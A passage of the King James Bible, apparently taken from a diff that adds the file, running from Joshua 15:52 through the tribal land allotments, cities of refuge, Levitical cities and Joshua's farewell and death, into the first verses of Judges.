+villages: 15:52 Arab, and Dumah, and Eshean, 15:53 And Janum, and +Bethtappuah, and Aphekah, 15:54 And Humtah, and Kirjatharba, which is +Hebron, and Zior; nine cities with their villages: 15:55 Maon, Carmel, +and Ziph, and Juttah, 15:56 And Jezreel, and Jokdeam, and Zanoah, +15:57 Cain, Gibeah, and Timnah; ten cities with their villages: 15:58 +Halhul, Bethzur, and Gedor, 15:59 And Maarath, and Bethanoth, and +Eltekon; six cities with their villages: 15:60 Kirjathbaal, which is +Kirjathjearim, and Rabbah; two cities with their villages: 15:61 In +the wilderness, Betharabah, Middin, and Secacah, 15:62 And Nibshan, +and the city of Salt, and Engedi; six cities with their villages. + +15:63 As for the Jebusites the inhabitants of Jerusalem, the children +of Judah could not drive them out; but the Jebusites dwell with the +children of Judah at Jerusalem unto this day. + +16:1 And the lot of the children of Joseph fell from Jordan by +Jericho, unto the water of Jericho on the east, to the wilderness that +goeth up from Jericho throughout mount Bethel, 16:2 And goeth out from +Bethel to Luz, and passeth along unto the borders of Archi to Ataroth, +16:3 And goeth down westward to the coast of Japhleti, unto the coast +of Bethhoron the nether, and to Gezer; and the goings out thereof are +at the sea. + +16:4 So the children of Joseph, Manasseh and Ephraim, took their +inheritance. + +16:5 And the border of the children of Ephraim according to their +families was thus: even the border of their inheritance on the east +side was Atarothaddar, unto Bethhoron the upper; 16:6 And the border +went out toward the sea to Michmethah on the north side; and the +border went about eastward unto Taanathshiloh, and passed by it on the +east to Janohah; 16:7 And it went down from Janohah to Ataroth, and to +Naarath, and came to Jericho, and went out at Jordan. + +16:8 The border went out from Tappuah westward unto the river Kanah; +and the goings out thereof were at the sea. This is the inheritance of +the tribe of the children of Ephraim by their families. + +16:9 And the separate cities for the children of Ephraim were among +the inheritance of the children of Manasseh, all the cities with their +villages. + +16:10 And they drave not out the Canaanites that dwelt in Gezer: but +the Canaanites dwell among the Ephraimites unto this day, and serve +under tribute. + +17:1 There was also a lot for the tribe of Manasseh; for he was the +firstborn of Joseph; to wit, for Machir the firstborn of Manasseh, the +father of Gilead: because he was a man of war, therefore he had Gilead +and Bashan. + +17:2 There was also a lot for the rest of the children of Manasseh by +their families; for the children of Abiezer, and for the children of +Helek, and for the children of Asriel, and for the children of +Shechem, and for the children of Hepher, and for the children of +Shemida: these were the male children of Manasseh the son of Joseph by +their families. + +17:3 But Zelophehad, the son of Hepher, the son of Gilead, the son of +Machir, the son of Manasseh, had no sons, but daughters: and these are +the names of his daughters, Mahlah, and Noah, Hoglah, Milcah, and +Tirzah. + +17:4 And they came near before Eleazar the priest, and before Joshua +the son of Nun, and before the princes, saying, The LORD commanded +Moses to give us an inheritance among our brethren. Therefore +according to the commandment of the LORD he gave them an inheritance +among the brethren of their father. + +17:5 And there fell ten portions to Manasseh, beside the land of +Gilead and Bashan, which were on the other side Jordan; 17:6 Because +the daughters of Manasseh had an inheritance among his sons: and the +rest of Manasseh's sons had the land of Gilead. + +17:7 And the coast of Manasseh was from Asher to Michmethah, that +lieth before Shechem; and the border went along on the right hand unto +the inhabitants of Entappuah. + +17:8 Now Manasseh had the land of Tappuah: but Tappuah on the border +of Manasseh belonged to the children of Ephraim; 17:9 And the coast +descended unto the river Kanah, southward of the river: these cities +of Ephraim are among the cities of Manasseh: the coast of Manasseh +also was on the north side of the river, and the outgoings of it were +at the sea: 17:10 Southward it was Ephraim's, and northward it was +Manasseh's, and the sea is his border; and they met together in Asher +on the north, and in Issachar on the east. + +17:11 And Manasseh had in Issachar and in Asher Bethshean and her +towns, and Ibleam and her towns, and the inhabitants of Dor and her +towns, and the inhabitants of Endor and her towns, and the inhabitants +of Taanach and her towns, and the inhabitants of Megiddo and her +towns, even three countries. + +17:12 Yet the children of Manasseh could not drive out the inhabitants +of those cities; but the Canaanites would dwell in that land. + +17:13 Yet it came to pass, when the children of Israel were waxen +strong, that they put the Canaanites to tribute, but did not utterly +drive them out. + +17:14 And the children of Joseph spake unto Joshua, saying, Why hast +thou given me but one lot and one portion to inherit, seeing I am a +great people, forasmuch as the LORD hath blessed me hitherto? 17:15 +And Joshua answered them, If thou be a great people, then get thee up +to the wood country, and cut down for thyself there in the land of the +Perizzites and of the giants, if mount Ephraim be too narrow for thee. + +17:16 And the children of Joseph said, The hill is not enough for us: +and all the Canaanites that dwell in the land of the valley have +chariots of iron, both they who are of Bethshean and her towns, and +they who are of the valley of Jezreel. + +17:17 And Joshua spake unto the house of Joseph, even to Ephraim and +to Manasseh, saying, Thou art a great people, and hast great power: +thou shalt not have one lot only: 17:18 But the mountain shall be +thine; for it is a wood, and thou shalt cut it down: and the outgoings +of it shall be thine: for thou shalt drive out the Canaanites, though +they have iron chariots, and though they be strong. + +18:1 And the whole congregation of the children of Israel assembled +together at Shiloh, and set up the tabernacle of the congregation +there. And the land was subdued before them. + +18:2 And there remained among the children of Israel seven tribes, +which had not yet received their inheritance. + +18:3 And Joshua said unto the children of Israel, How long are ye +slack to go to possess the land, which the LORD God of your fathers +hath given you? 18:4 Give out from among you three men for each +tribe: and I will send them, and they shall rise, and go through the +land, and describe it according to the inheritance of them; and they +shall come again to me. + +18:5 And they shall divide it into seven parts: Judah shall abide in +their coast on the south, and the house of Joseph shall abide in their +coasts on the north. + +18:6 Ye shall therefore describe the land into seven parts, and bring +the description hither to me, that I may cast lots for you here before +the LORD our God. + +18:7 But the Levites have no part among you; for the priesthood of the +LORD is their inheritance: and Gad, and Reuben, and half the tribe of +Manasseh, have received their inheritance beyond Jordan on the east, +which Moses the servant of the LORD gave them. + +18:8 And the men arose, and went away: and Joshua charged them that +went to describe the land, saying, Go and walk through the land, and +describe it, and come again to me, that I may here cast lots for you +before the LORD in Shiloh. + +18:9 And the men went and passed through the land, and described it by +cities into seven parts in a book, and came again to Joshua to the +host at Shiloh. + +18:10 And Joshua cast lots for them in Shiloh before the LORD: and +there Joshua divided the land unto the children of Israel according to +their divisions. + +18:11 And the lot of the tribe of the children of Benjamin came up +according to their families: and the coast of their lot came forth +between the children of Judah and the children of Joseph. + +18:12 And their border on the north side was from Jordan; and the +border went up to the side of Jericho on the north side, and went up +through the mountains westward; and the goings out thereof were at the +wilderness of Bethaven. + +18:13 And the border went over from thence toward Luz, to the side of +Luz, which is Bethel, southward; and the border descended to +Atarothadar, near the hill that lieth on the south side of the nether +Bethhoron. + +18:14 And the border was drawn thence, and compassed the corner of the +sea southward, from the hill that lieth before Bethhoron southward; +and the goings out thereof were at Kirjathbaal, which is +Kirjathjearim, a city of the children of Judah: this was the west +quarter. + +18:15 And the south quarter was from the end of Kirjathjearim, and the +border went out on the west, and went out to the well of waters of +Nephtoah: 18:16 And the border came down to the end of the mountain +that lieth before the valley of the son of Hinnom, and which is in the +valley of the giants on the north, and descended to the valley of +Hinnom, to the side of Jebusi on the south, and descended to Enrogel, +18:17 And was drawn from the north, and went forth to Enshemesh, and +went forth toward Geliloth, which is over against the going up of +Adummim, and descended to the stone of Bohan the son of Reuben, 18:18 +And passed along toward the side over against Arabah northward, and +went down unto Arabah: 18:19 And the border passed along to the side +of Bethhoglah northward: and the outgoings of the border were at the +north bay of the salt sea at the south end of Jordan: this was the +south coast. + +18:20 And Jordan was the border of it on the east side. This was the +inheritance of the children of Benjamin, by the coasts thereof round +about, according to their families. + +18:21 Now the cities of the tribe of the children of Benjamin +according to their families were Jericho, and Bethhoglah, and the +valley of Keziz, 18:22 And Betharabah, and Zemaraim, and Bethel, 18:23 +And Avim, and Pharah, and Ophrah, 18:24 And Chepharhaammonai, and +Ophni, and Gaba; twelve cities with their villages: 18:25 Gibeon, and +Ramah, and Beeroth, 18:26 And Mizpeh, and Chephirah, and Mozah, 18:27 +And Rekem, and Irpeel, and Taralah, 18:28 And Zelah, Eleph, and +Jebusi, which is Jerusalem, Gibeath, and Kirjath; fourteen cities with +their villages. This is the inheritance of the children of Benjamin +according to their families. + +19:1 And the second lot came forth to Simeon, even for the tribe of +the children of Simeon according to their families: and their +inheritance was within the inheritance of the children of Judah. + +19:2 And they had in their inheritance Beersheba, and Sheba, and +Moladah, 19:3 And Hazarshual, and Balah, and Azem, 19:4 And Eltolad, +and Bethul, and Hormah, 19:5 And Ziklag, and Bethmarcaboth, and +Hazarsusah, 19:6 And Bethlebaoth, and Sharuhen; thirteen cities and +their villages: 19:7 Ain, Remmon, and Ether, and Ashan; four cities +and their villages: 19:8 And all the villages that were round about +these cities to Baalathbeer, Ramath of the south. This is the +inheritance of the tribe of the children of Simeon according to their +families. + +19:9 Out of the portion of the children of Judah was the inheritance +of the children of Simeon: for the part of the children of Judah was +too much for them: therefore the children of Simeon had their +inheritance within the inheritance of them. + +19:10 And the third lot came up for the children of Zebulun according +to their families: and the border of their inheritance was unto Sarid: +19:11 And their border went up toward the sea, and Maralah, and +reached to Dabbasheth, and reached to the river that is before +Jokneam; 19:12 And turned from Sarid eastward toward the sunrising +unto the border of Chislothtabor, and then goeth out to Daberath, and +goeth up to Japhia, 19:13 And from thence passeth on along on the east +to Gittahhepher, to Ittahkazin, and goeth out to Remmonmethoar to +Neah; 19:14 And the border compasseth it on the north side to +Hannathon: and the outgoings thereof are in the valley of Jiphthahel: +19:15 And Kattath, and Nahallal, and Shimron, and Idalah, and +Bethlehem: twelve cities with their villages. + +19:16 This is the inheritance of the children of Zebulun according to +their families, these cities with their villages. + +19:17 And the fourth lot came out to Issachar, for the children of +Issachar according to their families. + +19:18 And their border was toward Jezreel, and Chesulloth, and Shunem, +19:19 And Haphraim, and Shihon, and Anaharath, 19:20 And Rabbith, and +Kishion, and Abez, 19:21 And Remeth, and Engannim, and Enhaddah, and +Bethpazzez; 19:22 And the coast reacheth to Tabor, and Shahazimah, and +Bethshemesh; and the outgoings of their border were at Jordan: sixteen +cities with their villages. + +19:23 This is the inheritance of the tribe of the children of Issachar +according to their families, the cities and their villages. + +19:24 And the fifth lot came out for the tribe of the children of +Asher according to their families. + +19:25 And their border was Helkath, and Hali, and Beten, and Achshaph, +19:26 And Alammelech, and Amad, and Misheal; and reacheth to Carmel +westward, and to Shihorlibnath; 19:27 And turneth toward the sunrising +to Bethdagon, and reacheth to Zebulun, and to the valley of Jiphthahel +toward the north side of Bethemek, and Neiel, and goeth out to Cabul +on the left hand, 19:28 And Hebron, and Rehob, and Hammon, and Kanah, +even unto great Zidon; 19:29 And then the coast turneth to Ramah, and +to the strong city Tyre; and the coast turneth to Hosah; and the +outgoings thereof are at the sea from the coast to Achzib: 19:30 Ummah +also, and Aphek, and Rehob: twenty and two cities with their villages. + +19:31 This is the inheritance of the tribe of the children of Asher +according to their families, these cities with their villages. + +19:32 The sixth lot came out to the children of Naphtali, even for the +children of Naphtali according to their families. + +19:33 And their coast was from Heleph, from Allon to Zaanannim, and +Adami, Nekeb, and Jabneel, unto Lakum; and the outgoings thereof were +at Jordan: 19:34 And then the coast turneth westward to Aznothtabor, +and goeth out from thence to Hukkok, and reacheth to Zebulun on the +south side, and reacheth to Asher on the west side, and to Judah upon +Jordan toward the sunrising. + +19:35 And the fenced cities are Ziddim, Zer, and Hammath, Rakkath, and +Chinnereth, 19:36 And Adamah, and Ramah, and Hazor, 19:37 And Kedesh, +and Edrei, and Enhazor, 19:38 And Iron, and Migdalel, Horem, and +Bethanath, and Bethshemesh; nineteen cities with their villages. + +19:39 This is the inheritance of the tribe of the children of Naphtali +according to their families, the cities and their villages. + +19:40 And the seventh lot came out for the tribe of the children of +Dan according to their families. + +19:41 And the coast of their inheritance was Zorah, and Eshtaol, and +Irshemesh, 19:42 And Shaalabbin, and Ajalon, and Jethlah, 19:43 And +Elon, and Thimnathah, and Ekron, 19:44 And Eltekeh, and Gibbethon, and +Baalath, 19:45 And Jehud, and Beneberak, and Gathrimmon, 19:46 And +Mejarkon, and Rakkon, with the border before Japho. + +19:47 And the coast of the children of Dan went out too little for +them: therefore the children of Dan went up to fight against Leshem, +and took it, and smote it with the edge of the sword, and possessed +it, and dwelt therein, and called Leshem, Dan, after the name of Dan +their father. + +19:48 This is the inheritance of the tribe of the children of Dan +according to their families, these cities with their villages. + +19:49 When they had made an end of dividing the land for inheritance +by their coasts, the children of Israel gave an inheritance to Joshua +the son of Nun among them: 19:50 According to the word of the LORD +they gave him the city which he asked, even Timnathserah in mount +Ephraim: and he built the city, and dwelt therein. + +19:51 These are the inheritances, which Eleazar the priest, and Joshua +the son of Nun, and the heads of the fathers of the tribes of the +children of Israel, divided for an inheritance by lot in Shiloh before +the LORD, at the door of the tabernacle of the congregation. So they +made an end of dividing the country. + +20:1 The LORD also spake unto Joshua, saying, 20:2 Speak to the +children of Israel, saying, Appoint out for you cities of refuge, +whereof I spake unto you by the hand of Moses: 20:3 That the slayer +that killeth any person unawares and unwittingly may flee thither: and +they shall be your refuge from the avenger of blood. + +20:4 And when he that doth flee unto one of those cities shall stand +at the entering of the gate of the city, and shall declare his cause +in the ears of the elders of that city, they shall take him into the +city unto them, and give him a place, that he may dwell among them. + +20:5 And if the avenger of blood pursue after him, then they shall not +deliver the slayer up into his hand; because he smote his neighbour +unwittingly, and hated him not beforetime. + +20:6 And he shall dwell in that city, until he stand before the +congregation for judgment, and until the death of the high priest that +shall be in those days: then shall the slayer return, and come unto +his own city, and unto his own house, unto the city from whence he +fled. + +20:7 And they appointed Kedesh in Galilee in mount Naphtali, and +Shechem in mount Ephraim, and Kirjatharba, which is Hebron, in the +mountain of Judah. + +20:8 And on the other side Jordan by Jericho eastward, they assigned +Bezer in the wilderness upon the plain out of the tribe of Reuben, and +Ramoth in Gilead out of the tribe of Gad, and Golan in Bashan out of +the tribe of Manasseh. + +20:9 These were the cities appointed for all the children of Israel, +and for the stranger that sojourneth among them, that whosoever +killeth any person at unawares might flee thither, and not die by the +hand of the avenger of blood, until he stood before the congregation. + +21:1 Then came near the heads of the fathers of the Levites unto +Eleazar the priest, and unto Joshua the son of Nun, and unto the heads +of the fathers of the tribes of the children of Israel; 21:2 And they +spake unto them at Shiloh in the land of Canaan, saying, The LORD +commanded by the hand of Moses to give us cities to dwell in, with the +suburbs thereof for our cattle. + +21:3 And the children of Israel gave unto the Levites out of their +inheritance, at the commandment of the LORD, these cities and their +suburbs. + +21:4 And the lot came out for the families of the Kohathites: and the +children of Aaron the priest, which were of the Levites, had by lot +out of the tribe of Judah, and out of the tribe of Simeon, and out of +the tribe of Benjamin, thirteen cities. + +21:5 And the rest of the children of Kohath had by lot out of the +families of the tribe of Ephraim, and out of the tribe of Dan, and out +of the half tribe of Manasseh, ten cities. + +21:6 And the children of Gershon had by lot out of the families of the +tribe of Issachar, and out of the tribe of Asher, and out of the tribe +of Naphtali, and out of the half tribe of Manasseh in Bashan, thirteen +cities. + +21:7 The children of Merari by their families had out of the tribe of +Reuben, and out of the tribe of Gad, and out of the tribe of Zebulun, +twelve cities. + +21:8 And the children of Israel gave by lot unto the Levites these +cities with their suburbs, as the LORD commanded by the hand of Moses. + +21:9 And they gave out of the tribe of the children of Judah, and out +of the tribe of the children of Simeon, these cities which are here +mentioned by name. + +21:10 Which the children of Aaron, being of the families of the +Kohathites, who were of the children of Levi, had: for theirs was the +first lot. + +21:11 And they gave them the city of Arba the father of Anak, which +city is Hebron, in the hill country of Judah, with the suburbs thereof +round about it. + +21:12 But the fields of the city, and the villages thereof, gave they +to Caleb the son of Jephunneh for his possession. + +21:13 Thus they gave to the children of Aaron the priest Hebron with +her suburbs, to be a city of refuge for the slayer; and Libnah with +her suburbs, 21:14 And Jattir with her suburbs, and Eshtemoa with her +suburbs, 21:15 And Holon with her suburbs, and Debir with her suburbs, +21:16 And Ain with her suburbs, and Juttah with her suburbs, and +Bethshemesh with her suburbs; nine cities out of those two tribes. + +21:17 And out of the tribe of Benjamin, Gibeon with her suburbs, Geba +with her suburbs, 21:18 Anathoth with her suburbs, and Almon with her +suburbs; four cities. + +21:19 All the cities of the children of Aaron, the priests, were +thirteen cities with their suburbs. + +21:20 And the families of the children of Kohath, the Levites which +remained of the children of Kohath, even they had the cities of their +lot out of the tribe of Ephraim. + +21:21 For they gave them Shechem with her suburbs in mount Ephraim, to +be a city of refuge for the slayer; and Gezer with her suburbs, 21:22 +And Kibzaim with her suburbs, and Bethhoron with her suburbs; four +cities. + +21:23 And out of the tribe of Dan, Eltekeh with her suburbs, Gibbethon +with her suburbs, 21:24 Aijalon with her suburbs, Gathrimmon with her +suburbs; four cities. + +21:25 And out of the half tribe of Manasseh, Tanach with her suburbs, +and Gathrimmon with her suburbs; two cities. + +21:26 All the cities were ten with their suburbs for the families of +the children of Kohath that remained. + +21:27 And unto the children of Gershon, of the families of the +Levites, out of the other half tribe of Manasseh they gave Golan in +Bashan with her suburbs, to be a city of refuge for the slayer; and +Beeshterah with her suburbs; two cities. + +21:28 And out of the tribe of Issachar, Kishon with her suburbs, +Dabareh with her suburbs, 21:29 Jarmuth with her suburbs, Engannim +with her suburbs; four cities. + +21:30 And out of the tribe of Asher, Mishal with her suburbs, Abdon +with her suburbs, 21:31 Helkath with her suburbs, and Rehob with her +suburbs; four cities. + +21:32 And out of the tribe of Naphtali, Kedesh in Galilee with her +suburbs, to be a city of refuge for the slayer; and Hammothdor with +her suburbs, and Kartan with her suburbs; three cities. + +21:33 All the cities of the Gershonites according to their families +were thirteen cities with their suburbs. + +21:34 And unto the families of the children of Merari, the rest of the +Levites, out of the tribe of Zebulun, Jokneam with her suburbs, and +Kartah with her suburbs, 21:35 Dimnah with her suburbs, Nahalal with +her suburbs; four cities. + +21:36 And out of the tribe of Reuben, Bezer with her suburbs, and +Jahazah with her suburbs, 21:37 Kedemoth with her suburbs, and +Mephaath with her suburbs; four cities. + +21:38 And out of the tribe of Gad, Ramoth in Gilead with her suburbs, +to be a city of refuge for the slayer; and Mahanaim with her suburbs, +21:39 Heshbon with her suburbs, Jazer with her suburbs; four cities in +all. + +21:40 So all the cities for the children of Merari by their families, +which were remaining of the families of the Levites, were by their lot +twelve cities. + +21:41 All the cities of the Levites within the possession of the +children of Israel were forty and eight cities with their suburbs. + +21:42 These cities were every one with their suburbs round about them: +thus were all these cities. + +21:43 And the LORD gave unto Israel all the land which he sware to +give unto their fathers; and they possessed it, and dwelt therein. + +21:44 And the LORD gave them rest round about, according to all that +he sware unto their fathers: and there stood not a man of all their +enemies before them; the LORD delivered all their enemies into their +hand. + +21:45 There failed not ought of any good thing which the LORD had +spoken unto the house of Israel; all came to pass. + +22:1 Then Joshua called the Reubenites, and the Gadites, and the half +tribe of Manasseh, 22:2 And said unto them, Ye have kept all that +Moses the servant of the LORD commanded you, and have obeyed my voice +in all that I commanded you: 22:3 Ye have not left your brethren these +many days unto this day, but have kept the charge of the commandment +of the LORD your God. + +22:4 And now the LORD your God hath given rest unto your brethren, as +he promised them: therefore now return ye, and get you unto your +tents, and unto the land of your possession, which Moses the servant +of the LORD gave you on the other side Jordan. + +22:5 But take diligent heed to do the commandment and the law, which +Moses the servant of the LORD charged you, to love the LORD your God, +and to walk in all his ways, and to keep his commandments, and to +cleave unto him, and to serve him with all your heart and with all +your soul. + +22:6 So Joshua blessed them, and sent them away: and they went unto +their tents. + +22:7 Now to the one half of the tribe of Manasseh Moses had given +possession in Bashan: but unto the other half thereof gave Joshua +among their brethren on this side Jordan westward. And when Joshua +sent them away also unto their tents, then he blessed them, 22:8 And +he spake unto them, saying, Return with much riches unto your tents, +and with very much cattle, with silver, and with gold, and with brass, +and with iron, and with very much raiment: divide the spoil of your +enemies with your brethren. + +22:9 And the children of Reuben and the children of Gad and the half +tribe of Manasseh returned, and departed from the children of Israel +out of Shiloh, which is in the land of Canaan, to go unto the country +of Gilead, to the land of their possession, whereof they were +possessed, according to the word of the LORD by the hand of Moses. + +22:10 And when they came unto the borders of Jordan, that are in the +land of Canaan, the children of Reuben and the children of Gad and the +half tribe of Manasseh built there an altar by Jordan, a great altar +to see to. + +22:11 And the children of Israel heard say, Behold, the children of +Reuben and the children of Gad and the half tribe of Manasseh have +built an altar over against the land of Canaan, in the borders of +Jordan, at the passage of the children of Israel. + +22:12 And when the children of Israel heard of it, the whole +congregation of the children of Israel gathered themselves together at +Shiloh, to go up to war against them. + +22:13 And the children of Israel sent unto the children of Reuben, and +to the children of Gad, and to the half tribe of Manasseh, into the +land of Gilead, Phinehas the son of Eleazar the priest, 22:14 And with +him ten princes, of each chief house a prince throughout all the +tribes of Israel; and each one was an head of the house of their +fathers among the thousands of Israel. + +22:15 And they came unto the children of Reuben, and to the children +of Gad, and to the half tribe of Manasseh, unto the land of Gilead, +and they spake with them, saying, 22:16 Thus saith the whole +congregation of the LORD, What trespass is this that ye have committed +against the God of Israel, to turn away this day from following the +LORD, in that ye have builded you an altar, that ye might rebel this +day against the LORD? 22:17 Is the iniquity of Peor too little for +us, from which we are not cleansed until this day, although there was +a plague in the congregation of the LORD, 22:18 But that ye must turn +away this day from following the LORD? and it will be, seeing ye rebel +to day against the LORD, that to morrow he will be wroth with the +whole congregation of Israel. + +22:19 Notwithstanding, if the land of your possession be unclean, then +pass ye over unto the land of the possession of the LORD, wherein the +LORD's tabernacle dwelleth, and take possession among us: but rebel +not against the LORD, nor rebel against us, in building you an altar +beside the altar of the LORD our God. + +22:20 Did not Achan the son of Zerah commit a trespass in the accursed +thing, and wrath fell on all the congregation of Israel? and that man +perished not alone in his iniquity. + +22:21 Then the children of Reuben and the children of Gad and the half +tribe of Manasseh answered, and said unto the heads of the thousands +of Israel, 22:22 The LORD God of gods, the LORD God of gods, he +knoweth, and Israel he shall know; if it be in rebellion, or if in +transgression against the LORD, (save us not this day,) 22:23 That we +have built us an altar to turn from following the LORD, or if to offer +thereon burnt offering or meat offering, or if to offer peace +offerings thereon, let the LORD himself require it; 22:24 And if we +have not rather done it for fear of this thing, saying, In time to +come your children might speak unto our children, saying, What have ye +to do with the LORD God of Israel? 22:25 For the LORD hath made +Jordan a border between us and you, ye children of Reuben and children +of Gad; ye have no part in the LORD: so shall your children make our +children cease from fearing the LORD. + +22:26 Therefore we said, Let us now prepare to build us an altar, not +for burnt offering, nor for sacrifice: 22:27 But that it may be a +witness between us, and you, and our generations after us, that we +might do the service of the LORD before him with our burnt offerings, +and with our sacrifices, and with our peace offerings; that your +children may not say to our children in time to come, Ye have no part +in the LORD. + +22:28 Therefore said we, that it shall be, when they should so say to +us or to our generations in time to come, that we may say again, +Behold the pattern of the altar of the LORD, which our fathers made, +not for burnt offerings, nor for sacrifices; but it is a witness +between us and you. + +22:29 God forbid that we should rebel against the LORD, and turn this +day from following the LORD, to build an altar for burnt offerings, +for meat offerings, or for sacrifices, beside the altar of the LORD +our God that is before his tabernacle. + +22:30 And when Phinehas the priest, and the princes of the +congregation and heads of the thousands of Israel which were with him, +heard the words that the children of Reuben and the children of Gad +and the children of Manasseh spake, it pleased them. + +22:31 And Phinehas the son of Eleazar the priest said unto the +children of Reuben, and to the children of Gad, and to the children of +Manasseh, This day we perceive that the LORD is among us, because ye +have not committed this trespass against the LORD: now ye have +delivered the children of Israel out of the hand of the LORD. + +22:32 And Phinehas the son of Eleazar the priest, and the princes, +returned from the children of Reuben, and from the children of Gad, +out of the land of Gilead, unto the land of Canaan, to the children of +Israel, and brought them word again. + +22:33 And the thing pleased the children of Israel; and the children +of Israel blessed God, and did not intend to go up against them in +battle, to destroy the land wherein the children of Reuben and Gad +dwelt. + +22:34 And the children of Reuben and the children of Gad called the +altar Ed: for it shall be a witness between us that the LORD is God. + +23:1 And it came to pass a long time after that the LORD had given +rest unto Israel from all their enemies round about, that Joshua waxed +old and stricken in age. + +23:2 And Joshua called for all Israel, and for their elders, and for +their heads, and for their judges, and for their officers, and said +unto them, I am old and stricken in age: 23:3 And ye have seen all +that the LORD your God hath done unto all these nations because of +you; for the LORD your God is he that hath fought for you. + +23:4 Behold, I have divided unto you by lot these nations that remain, +to be an inheritance for your tribes, from Jordan, with all the +nations that I have cut off, even unto the great sea westward. + +23:5 And the LORD your God, he shall expel them from before you, and +drive them from out of your sight; and ye shall possess their land, as +the LORD your God hath promised unto you. + +23:6 Be ye therefore very courageous to keep and to do all that is +written in the book of the law of Moses, that ye turn not aside +therefrom to the right hand or to the left; 23:7 That ye come not +among these nations, these that remain among you; neither make mention +of the name of their gods, nor cause to swear by them, neither serve +them, nor bow yourselves unto them: 23:8 But cleave unto the LORD your +God, as ye have done unto this day. + +23:9 For the LORD hath driven out from before you great nations and +strong: but as for you, no man hath been able to stand before you unto +this day. + +23:10 One man of you shall chase a thousand: for the LORD your God, he +it is that fighteth for you, as he hath promised you. + +23:11 Take good heed therefore unto yourselves, that ye love the LORD +your God. + +23:12 Else if ye do in any wise go back, and cleave unto the remnant +of these nations, even these that remain among you, and shall make +marriages with them, and go in unto them, and they to you: 23:13 Know +for a certainty that the LORD your God will no more drive out any of +these nations from before you; but they shall be snares and traps unto +you, and scourges in your sides, and thorns in your eyes, until ye +perish from off this good land which the LORD your God hath given you. + +23:14 And, behold, this day I am going the way of all the earth: and +ye know in all your hearts and in all your souls, that not one thing +hath failed of all the good things which the LORD your God spake +concerning you; all are come to pass unto you, and not one thing hath +failed thereof. + +23:15 Therefore it shall come to pass, that as all good things are +come upon you, which the LORD your God promised you; so shall the LORD +bring upon you all evil things, until he have destroyed you from off +this good land which the LORD your God hath given you. + +23:16 When ye have transgressed the covenant of the LORD your God, +which he commanded you, and have gone and served other gods, and bowed +yourselves to them; then shall the anger of the LORD be kindled +against you, and ye shall perish quickly from off the good land which +he hath given unto you. + +24:1 And Joshua gathered all the tribes of Israel to Shechem, and +called for the elders of Israel, and for their heads, and for their +judges, and for their officers; and they presented themselves before +God. + +24:2 And Joshua said unto all the people, Thus saith the LORD God of +Israel, Your fathers dwelt on the other side of the flood in old time, +even Terah, the father of Abraham, and the father of Nachor: and they +served other gods. + +24:3 And I took your father Abraham from the other side of the flood, +and led him throughout all the land of Canaan, and multiplied his +seed, and gave him Isaac. + +24:4 And I gave unto Isaac Jacob and Esau: and I gave unto Esau mount +Seir, to possess it; but Jacob and his children went down into Egypt. + +24:5 I sent Moses also and Aaron, and I plagued Egypt, according to +that which I did among them: and afterward I brought you out. + +24:6 And I brought your fathers out of Egypt: and ye came unto the +sea; and the Egyptians pursued after your fathers with chariots and +horsemen unto the Red sea. + +24:7 And when they cried unto the LORD, he put darkness between you +and the Egyptians, and brought the sea upon them, and covered them; +and your eyes have seen what I have done in Egypt: and ye dwelt in the +wilderness a long season. + +24:8 And I brought you into the land of the Amorites, which dwelt on +the other side Jordan; and they fought with you: and I gave them into +your hand, that ye might possess their land; and I destroyed them from +before you. + +24:9 Then Balak the son of Zippor, king of Moab, arose and warred +against Israel, and sent and called Balaam the son of Beor to curse +you: 24:10 But I would not hearken unto Balaam; therefore he blessed +you still: so I delivered you out of his hand. + +24:11 And you went over Jordan, and came unto Jericho: and the men of +Jericho fought against you, the Amorites, and the Perizzites, and the +Canaanites, and the Hittites, and the Girgashites, the Hivites, and +the Jebusites; and I delivered them into your hand. + +24:12 And I sent the hornet before you, which drave them out from +before you, even the two kings of the Amorites; but not with thy +sword, nor with thy bow. + +24:13 And I have given you a land for which ye did not labour, and +cities which ye built not, and ye dwell in them; of the vineyards and +oliveyards which ye planted not do ye eat. + +24:14 Now therefore fear the LORD, and serve him in sincerity and in +truth: and put away the gods which your fathers served on the other +side of the flood, and in Egypt; and serve ye the LORD. + +24:15 And if it seem evil unto you to serve the LORD, choose you this +day whom ye will serve; whether the gods which your fathers served +that were on the other side of the flood, or the gods of the Amorites, +in whose land ye dwell: but as for me and my house, we will serve the +LORD. + +24:16 And the people answered and said, God forbid that we should +forsake the LORD, to serve other gods; 24:17 For the LORD our God, he +it is that brought us up and our fathers out of the land of Egypt, +from the house of bondage, and which did those great signs in our +sight, and preserved us in all the way wherein we went, and among all +the people through whom we passed: 24:18 And the LORD drave out from +before us all the people, even the Amorites which dwelt in the land: +therefore will we also serve the LORD; for he is our God. + +24:19 And Joshua said unto the people, Ye cannot serve the LORD: for +he is an holy God; he is a jealous God; he will not forgive your +transgressions nor your sins. + +24:20 If ye forsake the LORD, and serve strange gods, then he will +turn and do you hurt, and consume you, after that he hath done you +good. + +24:21 And the people said unto Joshua, Nay; but we will serve the +LORD. + +24:22 And Joshua said unto the people, Ye are witnesses against +yourselves that ye have chosen you the LORD, to serve him. And they +said, We are witnesses. + +24:23 Now therefore put away, said he, the strange gods which are +among you, and incline your heart unto the LORD God of Israel. + +24:24 And the people said unto Joshua, The LORD our God will we serve, +and his voice will we obey. + +24:25 So Joshua made a covenant with the people that day, and set them +a statute and an ordinance in Shechem. + +24:26 And Joshua wrote these words in the book of the law of God, and +took a great stone, and set it up there under an oak, that was by the +sanctuary of the LORD. + +24:27 And Joshua said unto all the people, Behold, this stone shall be +a witness unto us; for it hath heard all the words of the LORD which +he spake unto us: it shall be therefore a witness unto you, lest ye +deny your God. + +24:28 So Joshua let the people depart, every man unto his inheritance. + +24:29 And it came to pass after these things, that Joshua the son of +Nun, the servant of the LORD, died, being an hundred and ten years +old. + +24:30 And they buried him in the border of his inheritance in +Timnathserah, which is in mount Ephraim, on the north side of the hill +of Gaash. + +24:31 And Israel served the LORD all the days of Joshua, and all the +days of the elders that overlived Joshua, and which had known all the +works of the LORD, that he had done for Israel. + +24:32 And the bones of Joseph, which the children of Israel brought up +out of Egypt, buried they in Shechem, in a parcel of ground which +Jacob bought of the sons of Hamor the father of Shechem for an hundred +pieces of silver: and it became the inheritance of the children of +Joseph. + +24:33 And Eleazar the son of Aaron died; and they buried him in a hill +that pertained to Phinehas his son, which was given him in mount +Ephraim. + + + + +The Book of Judges + + +1:1 Now after the death of Joshua it came to pass, that the children +of Israel asked the LORD, saying, Who shall go up for us against the +Canaanites first, to fight against them? 1:2 And the LORD said, Judah +shall go up: behold, I have delivered the land into his hand. + +1:3 And Judah said unto Simeon his brother, Come up with me into 